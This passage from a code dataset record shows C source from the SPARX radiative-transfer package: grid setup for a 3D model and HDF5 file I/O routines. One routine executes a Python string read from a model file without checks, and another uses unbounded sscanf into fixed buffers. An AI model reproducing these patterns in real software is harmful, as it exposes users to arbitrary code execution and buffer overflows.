*/\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\t#define NGRID 1\n\t\t\t/* GEOM_REC3D */\n\t\t\tmin = GeVec3_d_Init(0.0, 0.0, 0.0);\n\t\t\tmax = GeVec3_d_Init(2.0 * RMAX / pc, 2.0 * RMAX / pc, 2.0 * RMAX / pc);\n\t\t\tndiv = GeVec3_s_Init((size_t)(NGRID*NZONE), (size_t)(NGRID*NZONE), (size_t)(NGRID*NZONE));\n\n\t\t\t#define LOGZERO -100\n\n\t\t\t/* Init log values for interpolation */\n\t\t\tfor(i = 0; i < NZONE; i++) {\n\t\t\t\tlogrb[i] = rb[i] > 0 ? log10(rb[i]) : LOGZERO;\n\t\t\t\tlognh[i] = nh[i] > 0 ? log10(nh[i]) : LOGZERO;\n\t\t\t\tlogtk[i] = tk[i] > 0 ? log10(tk[i]) : LOGZERO;\n\t\t\t\tlognm[i] = nm[i] > 0 ? log10(nm[i]) : LOGZERO;\n\n\t\t\t\tfor(j = 0; j < NLEV; j++) {\n\t\t\t\t\tloglp[j][i] = lp[i][j] > 0 ? log10(lp[i][j]) : LOGZERO;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* Allocate grid */\n\t\t\tSpModel_InitGrid(&glb.model, GEOM_REC3D, min, max, ndiv);\n\t\t\tgrid = glb.model.grid;\n\n\t\t\tfor(zone = Zone_GetMinLeaf(grid); zone; zone = Zone_AscendTree(zone)) {\n\t\t\t\t/* Calculate radius from center */\n\t\t\t\tradius = GeVec3_Mag2(&zone->voxel.cen, &grid->voxel.cen) * pc;\n\n\t\t\t\tif(radius <= RMAX) {\n\t\t\t\t\t/* Search for position in example grid */\n\t\t\t\t\ti = gsl_interp_bsearch(rb, radius, (size_t)0, (size_t)NZONE);\n\n\t\t\t\t\tif(i < 10 && 0)\n\t\t\t\t\t\tDeb_PRINT(\"radius=%10.3e, ra=%10.3e, rb=%10.3e, i=%2d %s\\n\", radius / pc, ra[i] / pc, rb[i] / pc, (int)i, i <= 5 ? \"<--\" : \"\");\n\n\t\t\t\t\tpp = zone->data;\n\n\t\t\t\t\tif(radius > 0) {\n\t\t\t\t\t\tlograd = log10(radius);\n\n\t\t\t\t\t\tlogdum = Num_InterpPoly(lograd, logrb, lognh, (size_t)NZONE, (size_t)3);\n\t\t\t\t\t\tpp->n_H2 = pow(10.0, logdum) * percc; /* cm^-3 -> m^-3 */\n\n\t\t\t\t\t\tlogdum = Num_InterpPoly(lograd, logrb, lognm, (size_t)NZONE, (size_t)3);\n\t\t\t\t\t\tlogdum = pow(10.0, logdum) * percc;\n\t\t\t\t\t\tpp->X_mol = (nh[i] > 0 ? logdum / nh[i] : 0.0); /* fraction */\n\n\t\t\t\t\t\tlogdum = Num_InterpPoly(lograd, logrb, logtk, (size_t)NZONE, (size_t)3);\n\t\t\t\t\t\tpp->T_k = pow(10.0, logdum); /* K */\n\n\t\t\t\t\t\tpp->V_t = db[i] * km; /* km/s -> m/s */\n\n\t\t\t\t\t\t/* Calculate position vector of voxel center */\n\t\t\t\t\t\tpos = GeVec3_Sub(&grid->voxel.cen, &zone->voxel.cen);\n\t\t\t\t\t\tpos = GeVec3_Normalize(&pos);\n\t\t\t\t\t\tpp->v_cen = GeVec3_Scale(&pos, vr[i] * km); /* km/s -> m/s */\n\n\t\t\t\t\t\tif(glb.pops) {\n\t\t\t\t\t\t\tfor(j = 0; j < NLEV; j++) {\n\t\t\t\t\t\t\t\tlogdum = Num_InterpPoly(lograd, logrb, loglp[j], (size_t)NZONE, (size_t)3);\n\t\t\t\t\t\t\t\tpp->pops[0][j] = pow(10.0, logdum); /* fraction */\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t#undef NGRID\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tassert(0);\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5539297461509705, "alphanum_fraction": 0.5684190392494202, "avg_line_length": 21.799999237060547, "blob_id": "cd9b2c7c909dde5898866a6d84455c8e3c58edc3", "content_id": "1b5439a94c90e1b8929acec2a75012e5ec03bf1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 20981, "license_type": "no_license", "max_line_length": 107, "num_lines": 920, "path": "/src/sparx-io.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpIO_SetTaskName(const char *str)\n/* Point Sp_parm.task to a static buffer within this function */\n{\n\tstatic char buffer[BUFSIZ];\n\n\tstrncpy(buffer, str, (size_t)BUFSIZ);\n\n\tSp_parm.task = buffer;\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpIO_Print(const char *file, int line, const char *func, const char *format, ...)\n{\n\tva_list ap;\n\n\t#ifdef HAVE_MPI\n\tif(Sp_MPIRANK != 0)\n\t\treturn;\n\t#endif\n\n\tif(Sp_parm.debug)\n\t\tfprintf(Sp_parm.out_fp, \"%s:%d In function `%s':\\n\", file, line, func);\n\n\tif(Sp_parm.task)\n\t\tfprintf(Sp_parm.out_fp, \"%s: \", Sp_parm.task);\n\telse\n\t\tfprintf(Sp_parm.out_fp, \"%s: \", Sp_parm.prog);\n\n\tva_start(ap, format);\n\tvfprintf(Sp_parm.out_fp, format, ap);\n\tfflush(Sp_parm.out_fp);\n\tva_end(ap);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpIO_Printf(const char *file, int line, const char *func, const char *format, ...)\n{\n\tva_list ap;\n\n\t#ifdef HAVE_MPI\n\tif(Sp_MPIRANK != 0)\n\t\treturn;\n\t#endif\n\n\tif(Sp_parm.debug)\n\t\tfprintf(Sp_parm.out_fp, \"%s:%d In function `%s':\\n\", file, line, func);\n\n\tva_start(ap, format);\n\tvfprintf(Sp_parm.out_fp, format, ap);\n\tfflush(Sp_parm.out_fp);\n\tva_end(ap);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpIO_Pwarn(const char *file, int line, const char *func, const char *format, ...)\n{\n\tva_list ap;\n\n\tif(Sp_parm.debug)\n\t\tfprintf(Sp_parm.err_fp, \"%s:%d In function `%s':\\n\", file, line, func);\n\n\tif(Sp_parm.task)\n\t\tfprintf(Sp_parm.err_fp, \"%s warning: \", Sp_parm.task);\n\telse\n\t\tfprintf(Sp_parm.err_fp, \"%s warning: \", Sp_parm.prog);\n\n\tva_start(ap, format);\n\tvfprintf(Sp_parm.err_fp, format, ap);\n\tfflush(Sp_parm.err_fp);\n\tva_end(ap);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpIO_Perror(const char *file, int line, const char *func, const char *format, ...)\n{\n\tva_list ap;\n\n\tif(Sp_parm.debug)\n\t\tfprintf(Sp_parm.err_fp, \"%s:%d In function `%s':\\n\", file, line, func);\n\n\tif(Sp_parm.task)\n\t\tfprintf(Sp_parm.err_fp, \"%s error: \", Sp_parm.task);\n\telse\n\t\tfprintf(Sp_parm.err_fp, \"%s error: \", Sp_parm.prog);\n\n\tva_start(ap, format);\n\tvfprintf(Sp_parm.err_fp, format, ap);\n\tfflush(Sp_parm.err_fp);\n\tva_end(ap);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nSpFile *SpIO_OpenFile(const char *fname, int mode)\n{\n\tSpFile *sfp = 0;\n\thid_t file_id = 0;\n\t\n\tswitch(mode) {\n\t\tcase Sp_NEW:\n\t\t\tfile_id = H5Fcreate(fname, H5F_ACC_EXCL, H5P_DEFAULT, H5P_DEFAULT);\n\t\t\tbreak;\n\n\t\tcase Sp_OLD:\n\t\t\tfile_id = H5Fopen(fname, H5F_ACC_RDWR, H5P_DEFAULT);\n\t\t\tbreak;\n\n\t\tcase Sp_TRUNC:\n\t\t\tfile_id = H5Fcreate(fname, H5F_ACC_TRUNC, H5P_DEFAULT, H5P_DEFAULT);\n\t\t\tbreak;\n\n\t\tdefault: /* No such mode */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\tif(file_id >= 0) {\n\t\tsfp = Mem_CALLOC(1, sfp);\n\t\tsfp->name = Mem_STRDUP(fname);\n\t\tsfp->h5f_id = file_id;\n\t}\n\telse {\n\t\tErr_SETSTRING(\"Error opening file `%s'\", fname);\n\t}\n\n\treturn sfp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_OpenFile2(const char *fname, int mode, SpFile **fp)\n{\n\tint sts = 0;\n\n\t*fp = SpIO_OpenFile(fname, mode);\n\n\tif(!(*fp)) {\n\t\tPyWrErr_SetString(PyExc_Exception, \"Error opening SPARX file '%s'\", fname);\n\t\tsts = 1;\n\t}\n\n\treturn sts;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpIO_CloseFile(SpFile *sfp)\n{\n\tif(sfp->name)\n\t\tfree(sfp->name);\n\n\tif(sfp->h5f_id >= 0)\n\t\tH5Fclose(sfp->h5f_id);\n\n\tfree(sfp);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_FwriteModel(SpFile *sfp, SpModel model)\n{\n\tint status = 0;\n\tMolec *mol = model.parms.mol;\n\tconst char *mol_name = mol ? mol->name : \"\";\n\therr_t hstatus;\n\n\t/* Write molecule name */\n\tif(!status) {\n\t\thstatus = H5LTset_attribute_string(sfp->h5f_id, \"/\", \"molec\", mol_name);\n\t\tif(hstatus < 0)\n\t\t\tstatus = 1;\n\t}\n\n\t/* Write T_cmb */\n\tif(!status) {\n\t\thstatus = H5LTset_attribute_double(sfp->h5f_id, \"/\", \"T_cmb\", &model.parms.T_cmb, (size_t)1);\n\t\tif(hstatus < 0)\n\t\t\tstatus = 1;\n\t}\n\n\t/* Write gas_to_dust */\n\tif(!status) {\n\t\thstatus = H5LTset_attribute_double(sfp->h5f_id, \"/\", \"gas_to_dust\", &model.parms.gas_to_dust, (size_t)1);\n\t\tif(hstatus < 0)\n\t\t\tstatus = 1;\n\t}\n\n\t/* Write velocity field info */\n\t//debug\n\tif(!status) {\n\t\t#if 0\n\t\thstatus = H5LTset_attribute_string(sfp->h5f_id, \"/\", \"velfield\",\n\t\t\t\"def Vgas(x, min, max):\\n\"\n\t\t\t\"\treturn [0,0,0]\\n\"\n\t\t\t);\n\t\t#endif\n\t\thstatus = H5LTset_attribute_string(sfp->h5f_id, \"/\", \"velfield\", \"grid\");\n\t\tif(hstatus < 0)\n\t\t\tstatus = 1;\n\t}\n\n\t/* Write grid */\n\tif(!status)\n\t\tstatus = SpIO_H5WriteGrid(sfp->h5f_id, model.grid);\n\n\tif(status)\n\t\tstatus = Err_SETSTRING(\"Error writing model to file `%s'\", sfp->name);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_FreadModel(const SpFile *sfp, SpModel *model)\n{\n\tint status = 0;\n\therr_t hstatus;\n\t//char mol_name[BUFSIZ], velfield[BUFSIZ];\n\tchar *mol_name = NULL, *velfield = NULL, format[] = \"(d,d,d),(d,d,d),(d,d,d)\";\n\tPyObject *__main__ = NULL, *ret = NULL;\n\n\tDeb_ASSERT(model->parms.mol == NULL);\n\tDeb_ASSERT(model->grid == NULL);\n\n\t/* Read molecule name */\n\tif(!status)\n\t\tstatus = SpIO_H5GetAttribute_string(sfp->h5f_id, \"/\", \"molec\", &mol_name);\n\n\t/* Read velocity field info */\n\tif(!status)\n\t\tstatus = SpIO_H5GetAttribute_string(sfp->h5f_id, \"/\", \"velfield\", &velfield);\n\t#if 0\n\thstatus = H5LTget_attribute_string(sfp->h5f_id, \"/\", \"molec\", mol_name);\n\tif(hstatus < 0)\n\t\tstatus = 1;\n\n\thstatus = H5LTget_attribute_string(sfp->h5f_id, \"/\", \"velfield\", velfield);\n\tif(hstatus < 0)\n\t\tstatus = 1;\n\t#endif\n\n\t/* Read T_cmb */\n\tif(!status) {\n\t\thstatus = H5LTget_attribute_double(sfp->h5f_id, \"/\", \"T_cmb\", &model->parms.T_cmb);\n\t\tif(hstatus < 0)\n\t\t\tstatus = 1;\n\t}\n\n\t/* Read gas_to_dust */\n\tif(!status) {\n\t\thstatus = H5LTget_attribute_double(sfp->h5f_id, \"/\", \"gas_to_dust\", &model->parms.gas_to_dust);\n\t\tif(hstatus < 0)\n\t\t\tstatus = 1;\n\t}\n\n\t/* Load molecule if present */\n\tif(!status && strlen(mol_name) > 0) {\n\t\tif(!(model->parms.mol = SpIO_FreadMolec(mol_name)))\n\t\tstatus = 1;\n\t}\n\n\t/* Set velocity field: the \"velfield\" attribute is expected\n\t * to contain a Python function named \"Vgas((x1,x2,x3),(min1,min2,min3),(max1,max2,max3)\" where\n\t * (x1,x2,x3) are the three coordinates of the ray position, (min1,min2,min3) are the lower\n\t * bounds of the bounding box, and (max1,max2,max3) are the upper baounds of the bounding\n\t * box. An example Vgas function would be:\n\t * def Vgas((x1, x2, x3), (min1, min2, min3), (max1, max2, max3)):\"\n\t *\treturn [0,0,0]\"\n\t */\n\tif(!status) {\n\t\tif(!strncmp(velfield, \"grid\", strlen(velfield))) {\n\t\t\tmodel->parms.velfield = NULL;\n\t\t}\n\t\telse {\n\t\t\tstatus = PyRun_SimpleString(velfield);\n\t\t\t__main__ = PyImport_AddModule(\"__main__\");\n\t\t\tmodel->parms.velfield = PyObject_GetAttrString(__main__, \"Vgas\");\n\t\t\tPy_INCREF(model->parms.velfield);\n\t\t\t/* Try calling the function and make sure it returns a sequence of length 3 */\n\t\t\tret = PyObject_CallFunction(model->parms.velfield, format, 0, 0, 0, 0, 0, 0, 0, 0, 0);\n\t\t\tif(!PySequence_Check(ret)) {\n\t\t\t\tPyWrErr_SetString(PyExc_Exception, \"Vgas() does not return a vector!\");\n\t\t\t\tstatus = 1;\n\t\t\t}\n\t\t}\n\t}\n\n\t/* Load grid */\n\tif(!status)\n\t\tstatus = SpIO_H5ReadGrid(sfp->h5f_id, &model->grid, &model->parms);\n\n\t/* Cleanup */\n\tfree(mol_name);\n\tfree(velfield);\n\n\tif(status)\n\t\tPyWrErr_SetString(PyExc_Exception, \"Error reading model from file `%s'\", sfp->name);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_OpenModel(const char *fname, SpModel *model)\n{\n\tint status = 0;\n\tSpFile *sfp;\n\n\tsfp = SpIO_OpenFile(fname, Sp_OLD);\n\n\tif(!sfp)\n\t\tstatus = 1;\n\n\tif(!status)\n\t\tstatus = SpIO_FreadModel(sfp, model);\n\n\tif(sfp)\n\t\tSpIO_CloseFile(sfp);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nMolec *SpIO_FreadMolec(const char *molname)\n{\n\tFILE *fp;\n\tchar *path;\n\tMolec *mol = 0;\n\n\tpath = Mem_Sprintf(\"%s/%s.dat\", Sp_parm.molec_path, molname);\n\tfp = fopen(path, \"r\");\n\n\tif(!fp) {\n\t\tErr_SETSTRING(\"File `%s' could not be opened\", path);\n\t\tgoto cleanup;\n\t}\n\telse {\n\t\tmol = Mol_ReadLamda(fp, path, molname);\n\t\tif(!mol)\n\t\t\tErr_SETSTRING(\"Error loading molecule from `%s'\", path);\n\t\telse\n\t\t\tSpPhys_ProcLamda(mol);\n\t}\n\n\tcleanup:\n\tif(fp)\n\t\tfclose(fp);\n\tfree(path);\n\n\treturn mol;\n}\n\n/*----------------------------------------------------------------------------*/\n\nKappa *SpIO_FreadKappa(const char *name)\n{\n\tchar *path;\n\tKappa *kap = 0;\n\tFILE *fp;\n\n\tpath = Mem_Sprintf(\"%s/%s.tab\", Sp_parm.kappa_path, name);\n\n\tfp = fopen(path, \"r\");\n\n\tif(!fp) {\n\t\tErr_SETSTRING(\"File `%s' could not be opened\", path);\n\t\tgoto cleanup;\n\t}\n\telse {\n\t\tkap = Kap_New_Table(name, path, fp);\n\t\tif(!kap)\n\t\t\tErr_SETSTRING(\"Error loading opacity from `%s'\", path);\n\t}\n\n\tcleanup:\n\tif(fp)\n\t\tfclose(fp);\n\tfree(path);\n\n\treturn kap;\n}\n\n/*----------------------------------------------------------------------------*/\n\nKappa *SpIO_LoadKappa(const char *string)\n{\n\tchar arg1[BUFSIZ], arg2[BUFSIZ], arg3[BUFSIZ], arg4[BUFSIZ];\n\n\tsscanf(string, \"%[^,],%[^,],%[^,],%[^,]\", arg1, arg2, arg3, arg4);\n\n\tif(!strcmp(arg1, \"powerlaw\"))\n\t\treturn Kap_New_Powerlaw(atof(arg2), atof(arg3), atof(arg4));\n\telse if(!strcmp(arg1, \"table\"))\n\t\treturn SpIO_FreadKappa(arg2);\n\telse\n\t\tDeb_ASSERT(0);\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZoneH5_Record SpIO_ZoneToH5Record(const Zone *zone)\n{\n\tsize_t i;\n\tZoneH5_Record zone_data;\n\tSpPhys *pp;\n\tDatINode *geom;\n\n\tMem_BZERO(&zone_data);\n\n\tpp = zone->data;\n\tzone_data.level = zone->level;\n\tzone_data.pos = (long int)zone->pos;\n\tgeom = Dat_IList_IdxLookup(GEOM_TYPES, zone->voxel.geom);\n\tDeb_ASSERT(geom != NULL);\n\tstrncpy(zone_data.geom, geom->name, ZoneH5_GEOMLEN);\n\tMem_MEMCPY(zone_data.max, zone->voxel.max.x, 3);\n\tMem_MEMCPY(zone_data.min, zone->voxel.min.x, 3);\n\tMem_MEMCPY(zone_data.cen, zone->voxel.cen.x, 3);\n\t#define CPYPP(attr) (zone_data.attr = pp->attr)\n\tCPYPP(n_H2);\n\tCPYPP(T_k);\n\tCPYPP(T_d);\n\tCPYPP(T_ff);\n\tCPYPP(T_bb);\n\tCPYPP(X_mol);\n\tCPYPP(X_pH2);\n\tCPYPP(X_oH2);\n\tCPYPP(X_e);\n\tCPYPP(X_H);\n\tCPYPP(X_He);\n\tCPYPP(V_t);\n\tCPYPP(ds);\n\t#undef CPYPP\n\n\tstrncpy(zone_data.kapp_d, pp->kapp_d, ZoneH5_KAPPLEN);\n\tstrncpy(zone_data.kapp_ff, pp->kapp_ff, ZoneH5_KAPPLEN);\n\n\tfor(i = 0; i < 6; i++) {\n\t\tMem_MEMCPY(&zone_data.vedge[i][0], pp->v_edge[i].x, 3);\n\t}\n\tzone_data.nchildren = (long int)zone->nchildren;\n\tfor(i = 0; i < 3; i++) {\n\t\tzone_data.v_cen[i] = GeVec3_X(pp->v_cen, i);\n\t\tzone_data.naxes[i] = (long int)GeVec3_X(zone->naxes, i);\n\t}\n\n\treturn zone_data;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpIO_ZoneFromH5Record(Zone *zone, ZoneH5_Record record)\n{\n\tsize_t i;\n\tSpPhys *pp;\n\tGeVec3_d min, max;\n\tDatINode *geom;\n\n\tpp = zone->data;\n\tzone->level = record.level;\n\tzone->pos = (size_t)record.pos;\n\tMem_MEMCPY(max.x, record.max, 3);\n\tMem_MEMCPY(min.x, record.min, 3);\n\tgeom = Dat_IList_NameLookup(GEOM_TYPES, record.geom);\n\tDeb_ASSERT(geom != NULL);\n\tzone->voxel = GeVox_Init2(geom->idx, min, max);\n\t#define CPYPP(attr) (pp->attr = record.attr)\n\tCPYPP(n_H2);\n\tCPYPP(T_k);\n\tCPYPP(T_d);\n\tCPYPP(T_ff);\n\tCPYPP(T_bb);\n\tCPYPP(X_mol);\n\tCPYPP(X_pH2);\n\tCPYPP(X_oH2);\n\tCPYPP(X_e);\n\tCPYPP(X_H);\n\tCPYPP(X_He);\n\tCPYPP(V_t);\n\tCPYPP(ds);\n\t#undef CPYPP\n\n\tstrncpy(pp->kapp_d, record.kapp_d, ZoneH5_KAPPLEN);\n\tstrncpy(pp->kapp_ff, record.kapp_ff, ZoneH5_KAPPLEN);\n\n\tfor(i = 0; i < 6; i++) {\n\t\tMem_MEMCPY(pp->v_edge[i].x, &record.vedge[i][0], 3);\n\t}\n\tMem_MEMCPY(pp->v_cen.x, record.v_cen, 3);\n\tzone->nchildren = (size_t)record.nchildren;\n\tfor(i = 0; i < 3; i++) {\n\t\tGeVec3_X(zone->naxes, i) = (size_t)record.naxes[i];\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_H5WriteGrid(hid_t h5f_id, const Zone *zone)\n/* Write data of all children to an HDF5 table */\n{\n\tint status = 0;\n\tSpPhys *pp = zone->data;\n\tchar *strp;\n\tsize_t i;\n\tZone *zp;\n\tZoneH5_Record *zone_data, this_zone;\n\thid_t group_id;\n\n\t/* Write properties of this zone */\n\tthis_zone = SpIO_ZoneToH5Record(zone);\n\tstatus = ZoneH5_FwriteTable(h5f_id, \"ZONE\", &this_zone, (size_t)1);\n\n\t/* Allocate table data */\n\tzone_data = Mem_CALLOC(zone->nchildren, zone_data);\n\n\t/* Load data values */\n\tfor(i = 0; i < zone->nchildren; i++)\n\t\tzone_data[i] = SpIO_ZoneToH5Record(zone->children[i]);\n\n\t/* Create and write grid data */\n\tif(!status)\n\t\tstatus = ZoneH5_FwriteTable(h5f_id, \"GRID\", zone_data, zone->nchildren);\n\n\t/* Create and write pops if present */\n\tif(pp->mol)\n\t\tSpIO_H5WritePops(h5f_id, zone);\n\n\t/* Create and write tau if present */\n\tif(pp->mol)\n\t\tSpIO_H5WriteTau(h5f_id, zone);\n\n\t/* Free table data */\n\tfree(zone_data);\n\n\t/* Loop through children and write sub-grids if present */\n\tfor(i = 0; i < zone->nchildren; i++) {\n\t\t/* Pointer to child */\n\t\tzp = zone->children[i];\n\n\t\tif(zp->nchildren > 0) {\n\t\t\t/* Sub-grid present, create group */\n\t\t\tDeb_ASSERT(zp->children != NULL);\n\n\t\t\t/* Build group name string: POS */\n\t\t\tstrp = Mem_Sprintf(\"%lu\", (unsigned long)zone->pos);\n\n\t\t\t/* Create a new group for this grid */\n\t\t\tgroup_id = H5Gcreate(h5f_id, strp, H5P_DEFAULT, H5P_DEFAULT, H5P_DEFAULT);\n\n\t\t\t/* Recursively call SpIO_H5WriteGrid() to write\n\t\t\t * sub-grids */\n\t\t\tSpIO_H5WriteGrid(group_id, zp);\n\n\t\t\t/* Close group */\n\t\t\tH5Gclose(group_id);\n\t\t}\n\t}\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_H5ReadGrid(hid_t h5f_id, Zone **zone, SpPhysParm *parms)\n/* Write data of all children to an HDF5 table */\n{\n\tint status = 0;\n\tZoneH5_Record *zone_data, this_zone;\n\tsize_t i;\n\n\tif(!(*zone))\n\t\t*zone = SpZone_ALLOC(parms);\n\n\t/* Read data for this zone */\n\tstatus = ZoneH5_FreadTable(h5f_id, \"ZONE\", &this_zone);\n\n\tif(!status) {\n\t\tSpIO_ZoneFromH5Record((*zone), this_zone);\n\n\t\t/* Grow grid */\n\t\tSpZone_GROW(*zone, (*zone)->naxes, parms);\n\t}\n\n\t/* Read pops if present */\n\tif(!status && parms) {\n\t\tif(parms->mol)\n\t\t\tstatus = SpIO_H5ReadPops(h5f_id, *zone);\n\t}\n\n\t/* Read tau if present */\n\tif(!status && parms) {\n\t\tif(parms->mol)\n\t\t\tstatus = SpIO_H5ReadTau(h5f_id, *zone);\n\t}\n\n\tzone_data = Mem_CALLOC((*zone)->nchildren, zone_data);\n\n\t/* Read grid */\n\tif(!status)\n\t\tstatus = ZoneH5_FreadTable(h5f_id, \"GRID\", zone_data);\n\n\tif(!status) {\n\t\tfor(i = 0; i < (*zone)->nchildren; i++)\n\t\t\tSpIO_ZoneFromH5Record((*zone)->children[i], zone_data[i]);\n\t}\n\n\t/* Recursively read subgrids */\n\tfor(i = 0; i < (*zone)->nchildren; i++) {\n\t\tif(!status) {\n\t\t\tif((*zone)->children[i]->nchildren > 0)\n\t\t\t\tstatus = SpIO_H5ReadGrid(h5f_id, &(*zone)->children[i], parms);\n\t\t}\n\t}\n\n\tfree(zone_data);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_H5WritePops(hid_t h5f_id, const Zone *zone)\n{\n\tSpPhys *pp = zone->data;\n\n\t/* Just in case the programmer did something stupid */\n\tDeb_ASSERT(pp->mol != NULL);\n\tDeb_ASSERT(pp->pops[0] != NULL);\n\n\therr_t hstatus = 0;\n\tint status = 0;\n\tsize_t\n\t\ti, j,\n\t\tnlev = pp->mol->nlev,\n\t\trecord_size = sizeof(double) * nlev,\n\t\tfield_offset[nlev];\n\tconst char **field_names = Mem_CALLOC(nlev, field_names);\n\tchar **level_names = Mem_CALLOC(nlev, level_names);\n\thid_t field_type[nlev];\n\thsize_t chunk_size = 10;\n\tint *fill_data = NULL, compress = 0;\n\tdouble *pops = Mem_CALLOC(zone->nchildren * nlev, pops);\n\n\t/* Init fields */\n\tfor(i = 0; i < nlev; i++) {\n\t\tfield_offset[i] = i * sizeof(double);\n\t\tfield_type[i] = H5T_NATIVE_DOUBLE;\n\t\tlevel_names[i] = Mem_Sprintf(\"lev%lu\", (unsigned long)i);\n\t\tfield_names[i] = level_names[i];\n\t}\n\n\t/* Load data */\n\t#define POPS(i, j)\\\n\t\tpops[(j) + nlev * (i)]\n\n\tfor(i = 0; i < zone->nchildren; i++) {\n\t\tpp = zone->children[i]->data;\n\t\tfor(j = 0; j < nlev; j++) {\n\t\t\tPOPS(i, j) = pp->pops[0][j];\n\t\t}\n\t}\n\n\t#undef POPS\n\n\t/* Write table */\n\thstatus = H5TBmake_table(\n\t\t\"Level populations\",\n\t\th5f_id,\n\t\t\"POPS\",\n\t\t(hsize_t)nlev,\n\t\t(hsize_t)zone->nchildren,\n\t\trecord_size,\n\t\tfield_names,\n\t\tfield_offset,\n\t\tfield_type,\n\t\tchunk_size,\n\t\tfill_data,\n\t\tcompress,\n\t\tpops\n\t);\n\n\t/* Cleanup */\n\tfor(i = 0; i < nlev; i++)\n\t\tfree(level_names[i]);\n\tfree(level_names);\n\tfree(field_names);\n\tfree(pops);\n\n\tif(hstatus < 0)\n\t\tstatus = Err_SETSTRING(\"Error writing `POPS' table\");\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_H5ReadPops(hid_t h5f_id, Zone *zone)\n/* Write data of all children to an HDF5 table */\n{\n\tSpPhys *pp = zone->data;\n\n\t/* Just in case the programmer did something stupid */\n\tDeb_ASSERT(pp->mol != NULL);\n\tDeb_ASSERT(pp->pops[0] != NULL);\n\n\tint status = 0;\n\tsize_t\n\t\ti, j,\n\t\tnlev = pp->mol->nlev,\n\t\trecord_size = sizeof(double) * nlev,\n\t\tfield_sizes[nlev],\n\t\tfield_offsets[nlev];\n\tdouble *pops = Mem_CALLOC(zone->nchildren * nlev, pops);\n\therr_t hstatus;\n\n\t/* Init fields */\n\tfor(i = 0; i < nlev; i++) {\n\t\tfield_offsets[i] = i * sizeof(double);\n\t\tfield_sizes[i] = sizeof(double);\n\t}\n\n\t/* Read pops table */\n\thstatus = H5TBread_table(h5f_id, \"POPS\", record_size, field_offsets, field_sizes, pops);\n\tif(hstatus < 0)\n\t\tstatus = Err_SETSTRING(\"Error reading HDF5 `%s' table\", \"POPS\");\n\n\t#define POPS(i, j)\\\n\t\tpops[(j) + nlev * (i)]\n\n\tfor(i = 0; i < zone->nchildren; i++) {\n\t\tpp = zone->children[i]->data;\n\n\t\tfor(j = 0; j < nlev; j++) {\n\t\t\tpp->pops[0][j] = POPS(i, j);\n\t\t}\n\t}\n\n\t#undef POPS\n\n\tfree(pops);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_H5WriteTau(hid_t h5f_id, const Zone *zone)\n{\n\tSpPhys *pp = zone->data;\n\n\t/* Just in case the programmer did something stupid */\n\tDeb_ASSERT(pp->mol != NULL);\n\tDeb_ASSERT(pp->tau != NULL);\n\n\therr_t hstatus = 0;\n\tint status = 0;\n\tsize_t\n\t\ti, j,\n\t\tnrad = pp->mol->nrad,\n\t\trecord_size = sizeof(double) * nrad,\n\t\tfield_offset[nrad];\n\tconst char **field_names = Mem_CALLOC(nrad, field_names);\n\tchar **level_names = Mem_CALLOC(nrad, level_names);\n\thid_t field_type[nrad];\n\thsize_t chunk_size = 10;\n\tint *fill_data = NULL, compress = 0;\n\tdouble *tau = Mem_CALLOC(zone->nchildren * nrad, tau);\n\n\t/* Init fields */\n\tfor(i = 0; i < nrad; i++) {\n\t\tfield_offset[i] = i * sizeof(double);\n\t\tfield_type[i] = H5T_NATIVE_DOUBLE;\n\t\tlevel_names[i] = Mem_Sprintf(\"line%lu\", (unsigned long)i);\n\t\tfield_names[i] = level_names[i];\n\t}\n\n\t/* Load data */\n\t#define TAU(i, j)\\\n\t\ttau[(j) + nrad * (i)]\n\n\tfor(i = 0; i < zone->nchildren; i++) {\n\t\tpp = zone->children[i]->data;\n\t\tfor(j = 0; j < nrad; j++) {\n\t\t\tTAU(i, j) = pp->tau[j];\n\t\t}\n\t}\n\n\t#undef TAU\n\n\t/* Write table */\n\thstatus = H5TBmake_table(\n\t\t\"Level populations\",\n\t\th5f_id,\n\t\t\"TAU\",\n\t\t(hsize_t)nrad,\n\t\t(hsize_t)zone->nchildren,\n\t\trecord_size,\n\t\tfield_names,\n\t\tfield_offset,\n\t\tfield_type,\n\t\tchunk_size,\n\t\tfill_data,\n\t\tcompress,\n\t\ttau\n\t);\n\n\t/* Cleanup */\n\tfor(i = 0; i < nrad; i++)\n\t\tfree(level_names[i]);\n\tfree(level_names);\n\tfree(field_names);\n\tfree(tau);\n\n\tif(hstatus < 0)\n\t\tstatus = Err_SETSTRING(\"Error writing `TAU' 